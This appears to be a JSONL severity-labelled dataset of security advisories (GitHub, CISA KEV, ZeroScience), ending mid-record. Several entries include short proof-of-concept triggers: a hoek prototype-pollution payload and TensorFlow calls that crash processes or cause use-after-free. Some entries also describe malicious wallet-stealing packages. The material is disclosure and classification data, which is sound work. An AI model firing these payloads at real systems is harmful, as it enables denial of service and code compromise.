-{"id": "4eb2c9607393c89dac96", "text": "Malicious Package in btffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in btffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7f473d9302e4a205519e", "text": "Out-of-bounds Write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds Write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "145fde47be8225e38623", "text": "Withdrawn, accidental duplicate publish.\n\nlib/rack/utils.rb in Rack before 1.5.4 and 1.6.x before 1.6.2, as used with Ruby on Rails 3.x and 4.x and other products, allows remote attackers to cause a denial of service (SystemStackError) via a request with a large parameter depth.", "text_raw": "Moderate severity vulnerability that affects rack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nlib/rack/utils.rb in Rack before 1.5.4 and 1.6.x before 1.6.2, as used with Ruby on Rails 3.x and 4.x and other products, allows remote attackers to cause a denial of service (SystemStackError) via a request with a large parameter depth.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "ce0eb47a2b5fa0d5b263", "text": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416, CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416, CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "99ec68d2dfe4f31bf342", "text": "Command Injection in @ronomon/opened\n\nThe @ronomon/opened library before 1.5.2 is vulnerable to a command injection vulnerability which would allow a remote attacker to execute commands on the system if the library was used with untrusted input.", "text_raw": "Command Injection in @ronomon/opened\n\n[Severity: CRITICAL]\n\nThe @ronomon/opened library before 1.5.2 is vulnerable to a command injection vulnerability which would allow a remote attacker to execute commands on the system if the library was used with untrusted input.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "24a775394d9bb45f6453", "text": "Prototype pollution in nestie\n\nPrototype pollution vulnerability in 'nestie' versions 0.0.0 through 1.0.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in nestie\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'nestie' versions 0.0.0 through 1.0.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "f419ea339e38298713ee", "text": "Command injection in launchpad\n\nAll versions of package launchpad are vulnerable to Command Injection via stop.", "text_raw": "Command injection in launchpad\n\n[Severity: CRITICAL]\n\nAll versions of package launchpad are vulnerable to Command Injection via stop.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "9475bbc9365fabdfa7ad", "text": "Authenticated Server Side Request Forgery\n\n### Impact\nAuthenticated Server Side Request Forgery\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020\n\n### Credits\nWe would like to thank <a rel=\"noopener\" href=\"https://reqon.nl\">REQON B.V.</a> for reporting this issue.", "text_raw": "Authenticated Server Side Request Forgery\n\n[Severity: LOW]\n\n### Impact\nAuthenticated Server Side Request Forgery\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020\n\n### Credits\nWe would like to thank <a rel=\"noopener\" href=\"https://reqon.nl\">REQON B.V.</a> for reporting this issue.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "a870b2e81d9ad557a491", "text": "Denial of Service in yar\n\nVersions of `yar` prior to 2.2.0 are affected by a denial of service vulnerability related to an invalid encrypted session cookie value.\n\nWhen an invalid encryped session cookie value is provided, the process will crash.\n\n## Recommendation\n\nUpdate to version 2.2.0 or later.", "text_raw": "Denial of Service in yar\n\n[Severity: HIGH]\n\nVersions of `yar` prior to 2.2.0 are affected by a denial of service vulnerability related to an invalid encrypted session cookie value.\n\nWhen an invalid encryped session cookie value is provided, the process will crash.\n\n\n## Recommendation\n\nUpdate to version 2.2.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "0304284cb482af4234e0", "text": "Files or Directories Accessible to External Parties in ether/logs\n\n### Impact\nA vulnerability was found that allowed authenticated admin users to access any file on the server.\n\n### Patches\nThe vulnerability has been fixed in 3.0.4.\n\n### Workarounds\nWe recommend disabling the plugin if untrustworthy sources have admin access.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [ether/logs](https://github.com/ethercreative/logs/issues)", "text_raw": "Files or Directories Accessible to External Parties in ether/logs\n\n[Severity: HIGH]\n\n### Impact\nA vulnerability was found that allowed authenticated admin users to access any file on the server.\n\n### Patches\nThe vulnerability has been fixed in 3.0.4.\n\n### Workarounds\nWe recommend disabling the plugin if untrustworthy sources have admin access.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [ether/logs](https://github.com/ethercreative/logs/issues)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-12", "split": "train"}
-{"id": "189c5bce83a1420f35b0", "text": "Cross-site scripting in Plone\n\nPlone through 5.2.4 allows stored XSS attacks (by a Contributor) by uploading an SVG or HTML document.", "text_raw": "Cross-site scripting in Plone\n\n[Severity: MEDIUM]\n\nPlone through 5.2.4 allows stored XSS attacks (by a Contributor) by uploading an SVG or HTML document.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "7df642fdfe2b9a847008", "text": "Sandbox bypass in constantinople\n\nconstantinople before 3.1.1 affected by a sandbox bypass.", "text_raw": "Sandbox bypass in constantinople\n\n[Severity: MEDIUM]\n\nconstantinople before 3.1.1 affected by a sandbox bypass.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-31", "split": "train"}
-{"id": "68c06d6a031f246418a6", "text": "Denial of Service in OpenShift Origin\n\nThe API server in OpenShift Origin 1.0.5 allows remote attackers to cause a denial of service (master process crash) via crafted JSON data", "text_raw": "Denial of Service in OpenShift Origin\n\n[Severity: MEDIUM]\n\nThe API server in OpenShift Origin 1.0.5 allows remote attackers to cause a denial of service (master process crash) via crafted JSON data", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "47d89fbfbfaa3ddcb8e2", "text": "Malicious Package in bs58chcek\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bs58chcek\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "e4f07263ca0580aaa06f", "text": "Member account takeover\n\n### Impact\n\nAn error in the implementation of the member email change functionality allows unauthenticated users to change the email address of arbitrary member accounts to one they control by crafting a request to the relevant API endpoint, and validating the new address via magic link sent to the new email address.\n\nGhost(Pro) has already been patched. Self-hosters are impacted if running Ghost a version between 3.18.0 and 4.15.0 with members functionality enabled.\n\n### Patches\n\nFixed in 4.15.1, all 4.x sites should upgrade as soon as possible.\nFixed in 3.42.6, all 3.x sites should upgrade as soon as possible.\n\n### Workarounds\n\nThe patch in 4.15.1 and 3.42.6 adds a new authenticated endpoint for updating member email addresses. Updating Ghost is the quickest complete solution.\n\nAs a workaround, if for any reason you cannot update your Ghost instance, you can block the `POST /members/api/send-magic-link/` endpoint, which will also disable member login and signup for your site.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@ghost.org](mailto:security@ghost.org)", "text_raw": "Member account takeover\n\n[Severity: MEDIUM]\n\n### Impact\n\nAn error in the implementation of the member email change functionality allows unauthenticated users to change the email address of arbitrary member accounts to one they control by crafting a request to the relevant API endpoint, and validating the new address via magic link sent to the new email address.\n\nGhost(Pro) has already been patched. Self-hosters are impacted if running Ghost a version between 3.18.0 and 4.15.0 with members functionality enabled.\n\n### Patches\n\nFixed in 4.15.1, all 4.x sites should upgrade as soon as possible.\nFixed in 3.42.6, all 3.x sites should upgrade as soon as possible.\n\n### Workarounds\n\nThe patch in 4.15.1 and 3.42.6 adds a new authenticated endpoint for updating member email addresses. Updating Ghost is the quickest complete solution.\n\nAs a workaround, if for any reason you cannot update your Ghost instance, you can block the `POST /members/api/send-magic-link/` endpoint, which will also disable member login and signup for your site.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@ghost.org](mailto:security@ghost.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "bc1bcfadc26b009d1742", "text": "Prototype Pollution in hoek\n\nVersions of `hoek` prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.\n\nThe `merge` function, and the `applyToDefaults` and `applyToDefaultsWithShallow` functions which leverage `merge` behind the scenes, are vulnerable to a prototype pollution attack when provided an _unvalidated_ payload created from a JSON string containing the `__proto__` property.\n\nThis can be demonstrated like so:\n\n```javascript\nvar Hoek = require('hoek');\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nHoek.merge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\nThis type of attack can be used to overwrite existing properties causing a potential denial of service.\n\n## Recommendation\n\nUpdate to version 4.2.1, 5.0.3 or later.", "text_raw": "Prototype Pollution in hoek\n\n[Severity: HIGH]\n\nVersions of `hoek` prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.\n\nThe `merge` function, and the `applyToDefaults` and `applyToDefaultsWithShallow` functions which leverage `merge` behind the scenes, are vulnerable to a prototype pollution attack when provided an _unvalidated_ payload created from a JSON string containing the `__proto__` property.\n\nThis can be demonstrated like so:\n\n```javascript\nvar Hoek = require('hoek');\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nHoek.merge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\nThis type of attack can be used to overwrite existing properties causing a potential denial of service.\n\n\n## Recommendation\n\nUpdate to version 4.2.1, 5.0.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-04-26", "split": "train"}
-{"id": "0ac03bf8a5e945787931", "text": "Data races in thex\n\nAn issue was discovered in the thex crate through 2020-12-08 for Rust. Thex<T> allows cross-thread data races of non-Send types.", "text_raw": "Data races in thex\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the thex crate through 2020-12-08 for Rust. Thex<T> allows cross-thread data races of non-Send types.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c1631d565a275a487044", "text": "Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH)", "text_raw": "Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-01-29", "split": "train"}
-{"id": "26584f59a5d49e6c434a", "text": "CHECK-fail in `LoadAndRemapMatrix`\n\n### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:\n\n```python\nimport tensorflow as tf\n\nckpt_path = tf.constant([], shape=[0], dtype=tf.string)\nold_tensor_name = tf.constant(\"\")\nrow_remapping = tf.constant([], shape=[0], dtype=tf.int64)\ncol_remapping = tf.constant([1], shape=[1], dtype=tf.int64)\ninitializing_values = tf.constant(1.0)\n\ntf.raw_ops.LoadAndRemapMatrix(\n    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,\n    row_remapping=row_remapping, col_remapping=col_remapping,\n    initializing_values=initializing_values, num_rows=0, num_cols=1)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar.\n\n```cc\nconst string& ckpt_path = ckpt_path_t->scalar<tstring>()();\n```\n\nHowever, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process.\n\n### Patches\nWe have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in `LoadAndRemapMatrix`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:\n    \n```python\nimport tensorflow as tf\n\nckpt_path = tf.constant([], shape=[0], dtype=tf.string)\nold_tensor_name = tf.constant(\"\")\nrow_remapping = tf.constant([], shape=[0], dtype=tf.int64)\ncol_remapping = tf.constant([1], shape=[1], dtype=tf.int64)\ninitializing_values = tf.constant(1.0)\n\ntf.raw_ops.LoadAndRemapMatrix(\n    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,\n    row_remapping=row_remapping, col_remapping=col_remapping,\n    initializing_values=initializing_values, num_rows=0, num_cols=1)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar.\n  \n```cc\nconst string& ckpt_path = ckpt_path_t->scalar<tstring>()();\n```\n\nHowever, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process.\n\n### Patches\nWe have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "709cac79ffea4704bcb4", "text": "Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control", "text_raw": "Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-12-13", "split": "train"}
-{"id": "94dc56ea8001efb9ff11", "text": "Downloads Resources over HTTP in jstestdriver\n\nAffected versions of `jstestdriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `jstestdriver`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2011.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in jstestdriver\n\n[Severity: HIGH]\n\nAffected versions of `jstestdriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `jstestdriver`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2011.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "803e12766fb0902f1d7b", "text": "Malicious Package in deasyncp\n\nAll versions of `deasyncp ` contain malicious code. The package shuts down the machine upon installation as a preinstall script.\n\n## Recommendation\n\nRemove the package from your environment. There is no further compromise.", "text_raw": "Malicious Package in deasyncp\n\n[Severity: CRITICAL]\n\nAll versions of `deasyncp ` contain malicious code. The package shuts down the machine upon installation as a preinstall script.\n\n\n## Recommendation\n\nRemove the package from your environment. There is no further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c02f6c184ad938449e7d", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Products.PluggableAuthService ZODBRoleManager\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nInformation disclosure vulnerability - everyone can list the names of roles defined in the ZODB Role Manager plugin if the site uses this plugin.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.6.0. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to 2.6.0 and re-run the buildout, or if you used pip simply do `pip install \"Products.PluggableAuthService>=2.6.0\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no workaround. Users are encouraged to upgrade.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-p75f-g7gx-2r7p](https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p75f-g7gx-2r7p)\n- [Products.PluggableAuthService on PyPI](https://github.com/zopefoundation/Products.PluggableAuthService)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.PluggableAuthService issue tracker](https://github.com/zopefoundation/Products.PluggableAuthService/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Products.PluggableAuthService ZODBRoleManager\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nInformation disclosure vulnerability - everyone can list the names of roles defined in the ZODB Role Manager plugin if the site uses this plugin.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.6.0. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to 2.6.0 and re-run the buildout, or if you used pip simply do `pip install \"Products.PluggableAuthService>=2.6.0\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no workaround. Users are encouraged to upgrade.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-p75f-g7gx-2r7p](https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p75f-g7gx-2r7p)\n- [Products.PluggableAuthService on PyPI](https://github.com/zopefoundation/Products.PluggableAuthService)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.PluggableAuthService issue tracker](https://github.com/zopefoundation/Products.PluggableAuthService/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-08", "split": "train"}
-{"id": "40a1d9486a9794ba800d", "text": "VBA32 Personal Antivirus 3.12.8.x (malformed archive) DoS Exploit", "text_raw": "VBA32 Personal Antivirus 3.12.8.x (malformed archive) DoS Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-10-03", "split": "train"}
-{"id": "a29d97b8c09769b5b139", "text": "Reference binding to nullptr in map operations\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.Map*` and `tf.raw_ops.OrderedMap*` operations:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MapPeek(\n  key=tf.constant([8],dtype=tf.int64),\n  indices=[],\n  dtypes=[tf.int32],\n  capacity=8,\n  memory_limit=128)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L222-L248) has a check in place to ensure that `indices` is in ascending order, but does not check that `indices` is not empty.\n\n### Patches\nWe have patched the issue in GitHub commit [532f5c5a547126c634fefd43bbad1dc6417678ac](https://github.com/tensorflow/tensorflow/commit/532f5c5a547126c634fefd43bbad1dc6417678ac).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in map operations\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.Map*` and `tf.raw_ops.OrderedMap*` operations:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.MapPeek(\n  key=tf.constant([8],dtype=tf.int64),\n  indices=[],\n  dtypes=[tf.int32],\n  capacity=8,\n  memory_limit=128)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L222-L248) has a check in place to ensure that `indices` is in ascending order, but does not check that `indices` is not empty.\n    \n### Patches\nWe have patched the issue in GitHub commit [532f5c5a547126c634fefd43bbad1dc6417678ac](https://github.com/tensorflow/tensorflow/commit/532f5c5a547126c634fefd43bbad1dc6417678ac).\n                       \nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6e5c4a29f94eb7640ae8", "text": "Microsoft SharePoint Remote Code Execution Vulnerability\n\nAffected: Microsoft SharePoint\n\nMicrosoft SharePoint fails to check the source markup of an application package. An attacker who successfully exploits the vulnerability could run remote code in the context of the SharePoint application pool and the SharePoint server farm account.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft SharePoint Remote Code Execution Vulnerability\n\nAffected: Microsoft SharePoint\n\nMicrosoft SharePoint fails to check the source markup of an application package. An attacker who successfully exploits the vulnerability could run remote code in the context of the SharePoint application pool and the SharePoint server farm account.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2aa1f11bec34062a1e62", "text": "Prototype Pollution in lodash.defaultsdeep\n\nVersions of `lodash.defaultsdeep` before 4.6.1 are vulnerable to prototype pollution. The function `mergeWith` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "text_raw": "Prototype Pollution in lodash.defaultsdeep\n\n[Severity: HIGH]\n\nVersions of `lodash.defaultsdeep` before 4.6.1 are vulnerable to prototype pollution. The function `mergeWith` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "3a0d6c41203a1721088a", "text": "Use after free in boosted trees creation\n\n### Impact\nThe implementation for `tf.raw_ops.BoostedTreesCreateEnsemble` can result in a use after free error if an attacker supplies specially crafted arguments:\n\n```python\nimport tensorflow as tf\n\nv= tf.Variable([0.0])\ntf.raw_ops.BoostedTreesCreateEnsemble(\n  tree_ensemble_handle=v.handle,\n  stamp_token=[0],\n  tree_ensemble_serialized=['0']) \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/boosted_trees/resource_ops.cc#L55) uses a reference counted resource and decrements the refcount if the initialization fails, as it should. However, when the code was written, the  resource was represented as a naked pointer but later refactoring has changed it to be a smart pointer. Thus, when the pointer leaves the scope, a subsequent `free`-ing of the resource occurs, but this fails to take into account that the refcount has already reached 0, thus the resource has been already freed. During this double-free process, members of the resource object are accessed for cleanup but they are invalid as the entire resource has been freed.\n\n### Patches\nWe have patched the issue in GitHub commit [5ecec9c6fbdbc6be03295685190a45e7eee726ab](https://github.com/tensorflow/tensorflow/commit/5ecec9c6fbdbc6be03295685190a45e7eee726ab).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Use after free in boosted trees creation\n\n[Severity: HIGH]\n\n### Impact\nThe implementation for `tf.raw_ops.BoostedTreesCreateEnsemble` can result in a use after free error if an attacker supplies specially crafted arguments:\n\n```python\nimport tensorflow as tf\n\nv= tf.Variable([0.0])\ntf.raw_ops.BoostedTreesCreateEnsemble(\n  tree_ensemble_handle=v.handle,\n  stamp_token=[0],\n  tree_ensemble_serialized=['0']) \n```\n\nThe 